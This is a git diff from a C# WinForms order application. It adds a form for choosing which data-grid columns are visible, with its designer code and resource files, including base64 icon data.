//////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/DgvHeaderEditForm.Designer.cs b/29WxOrder/OrderForms/DgvHeaderEditForm.Designer.cs new file mode 100644 index 0000000..d9963f9 --- /dev/null +++ b/29WxOrder/OrderForms/DgvHeaderEditForm.Designer.cs @@ -0,0 +1,150 @@ +namespace _29WxOrder.OrderForms +{ + partial class DgvHeaderEditForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DgvHeaderEditForm)); + this.panel1 = new System.Windows.Forms.Panel(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); + this.pnlEditTableHeaders = new DevComponents.DotNetBar.PanelEx(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(684, 0); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.panelEx1); + this.panel1.Controls.Add(this.flowLayoutPanel1); + this.panel1.Controls.Add(this.pnlEditTableHeaders); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(2, 32); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(716, 266); + this.panel1.TabIndex = 3; + // + // panelEx1 + // + this.panelEx1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.panelEx1.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Font = new System.Drawing.Font("微软雅黑", 10F); + this.panelEx1.Location = new System.Drawing.Point(505, 232); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Size = new System.Drawing.Size(95, 21); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx1.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.CornerDiameter = 1; + this.panelEx1.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelEx1.Style.ForeColor.Color = System.Drawing.Color.White; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx1.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx1.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx1.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx1.TabIndex = 1037; + this.panelEx1.Text = "全选"; + this.panelEx1.Click += new System.EventHandler(this.panelEx1_Click); + // + // flowLayoutPanel1 + // + this.flowLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.flowLayoutPanel1.Location = new System.Drawing.Point(17, 25); + this.flowLayoutPanel1.Name = "flowLayoutPanel1"; + this.flowLayoutPanel1.Size = new System.Drawing.Size(684, 191); + this.flowLayoutPanel1.TabIndex = 1030; + // + // pnlEditTableHeaders + // + this.pnlEditTableHeaders.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.pnlEditTableHeaders.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlEditTableHeaders.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlEditTableHeaders.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlEditTableHeaders.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlEditTableHeaders.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlEditTableHeaders.Location = new System.Drawing.Point(606, 232); + this.pnlEditTableHeaders.Name = "pnlEditTableHeaders"; + this.pnlEditTableHeaders.Size = new System.Drawing.Size(95, 21); + this.pnlEditTableHeaders.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlEditTableHeaders.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlEditTableHeaders.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlEditTableHeaders.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlEditTableHeaders.Style.CornerDiameter = 1; + this.pnlEditTableHeaders.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlEditTableHeaders.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlEditTableHeaders.Style.GradientAngle = 90; + this.pnlEditTableHeaders.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlEditTableHeaders.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlEditTableHeaders.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlEditTableHeaders.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlEditTableHeaders.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlEditTableHeaders.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlEditTableHeaders.TabIndex = 1026; + this.pnlEditTableHeaders.Text = "保存"; + this.pnlEditTableHeaders.Click += new System.EventHandler(this.pnlEditTableHeaders_Click); + // + // DgvHeaderEditForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(720, 300); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "DgvHeaderEditForm"; + this.Padding = new System.Windows.Forms.Padding(2, 0, 2, 2); + this.Text = "编辑表头"; + this.TitleText = "编辑表头"; + this.Load += new System.EventHandler(this.DgvHeaderEditForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private DevComponents.DotNetBar.PanelEx pnlEditTableHeaders; + private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; + private DevComponents.DotNetBar.PanelEx panelEx1; + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/DgvHeaderEditForm.cs b/29WxOrder/OrderForms/DgvHeaderEditForm.cs new file mode 100644 index 0000000..f62725a --- /dev/null +++ b/29WxOrder/OrderForms/DgvHeaderEditForm.cs @@ -0,0 +1,99 @@ +using AllBase.Helper; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BaseForms; + +namespace _29WxOrder.OrderForms +{ + public partial class DgvHeaderEditForm : BaseForm + { + DataGridView dgv = null; + public DgvHeaderEditForm(DataGridView d) + { + InitializeComponent(); + + this.dgv = d; + } + + private void DgvHeaderEditForm_Load(object sender, EventArgs e) + { + if (this.dgv != null) + { + foreach (DataGridViewColumn column in dgv.Columns) + { + CheckBox chk = new CheckBox(); + chk.Text = column.HeaderText; + + if (GlobalConfig.dicDgvHeadersSetting.Keys.Contains(dgv.Name)) + chk.Checked = !GlobalConfig.dicDgvHeadersSetting[dgv.Name].Contains(chk.Text); + else + chk.Checked = true; + + if (!this.flowLayoutPanel1.Controls.Cast().Any(c => c.Text == chk.Text)) + this.flowLayoutPanel1.Controls.Add(chk); + + + if (chk.Text == "手机拍单" && !AllBase.BaseClass.IsCloudBuyOrder) + { + chk.Visible = false; + } + } + } + } + + private void pnlEditTableHeaders_Click(object sender, EventArgs e) + { + List columnTexts = new List(); + foreach (Control c in this.flowLayoutPanel1.Controls) + { + if (c is CheckBox && !(c as CheckBox).Checked) + { + columnTexts.Add(c.Text); + } + } + GlobalConfig.dicDgvHeadersSetting[dgv.Name] = columnTexts; + StartUp.SaveDgvHeadersSettings(); + + this.Close(); + } + + public static void SetDgvHeaderVisible(DataGridView dgv, bool hide_secret = true) + { + foreach (DataGridViewColumn column in dgv.Columns) + { + column.Visible = true; + if (GlobalConfig.dicDgvHeadersSetting.Keys.Contains(dgv.Name) && GlobalConfig.dicDgvHeadersSetting[dgv.Name].Contains(column.HeaderText)) + column.Visible = false; + if (hide_secret) + { + if (column.Name == "col_name" || column.Name == "col_mobile" || column.Name == "col_address") + column.Visible = false; + } + + if (column.Name == "col_phone_buy") + { + if (!AllBase.BaseClass.IsCloudBuyOrder) + column.Visible = false; + } + } + } + + private void panelEx1_Click(object sender, EventArgs e) + { + foreach (Control c in this.flowLayoutPanel1.Controls) + { + if (c is CheckBox && !(c as CheckBox).Checked) + { + (c as CheckBox).Checked = true; + } + } + } + } +} diff --git a/29WxOrder/OrderForms/DgvHeaderEditForm.resx b/29WxOrder/OrderForms/DgvHeaderEditForm.resx new file mode 100644 index 0000000..2c08bcc --- /dev/null +++ b/29WxOrder/OrderForms/DgvHeaderEditForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 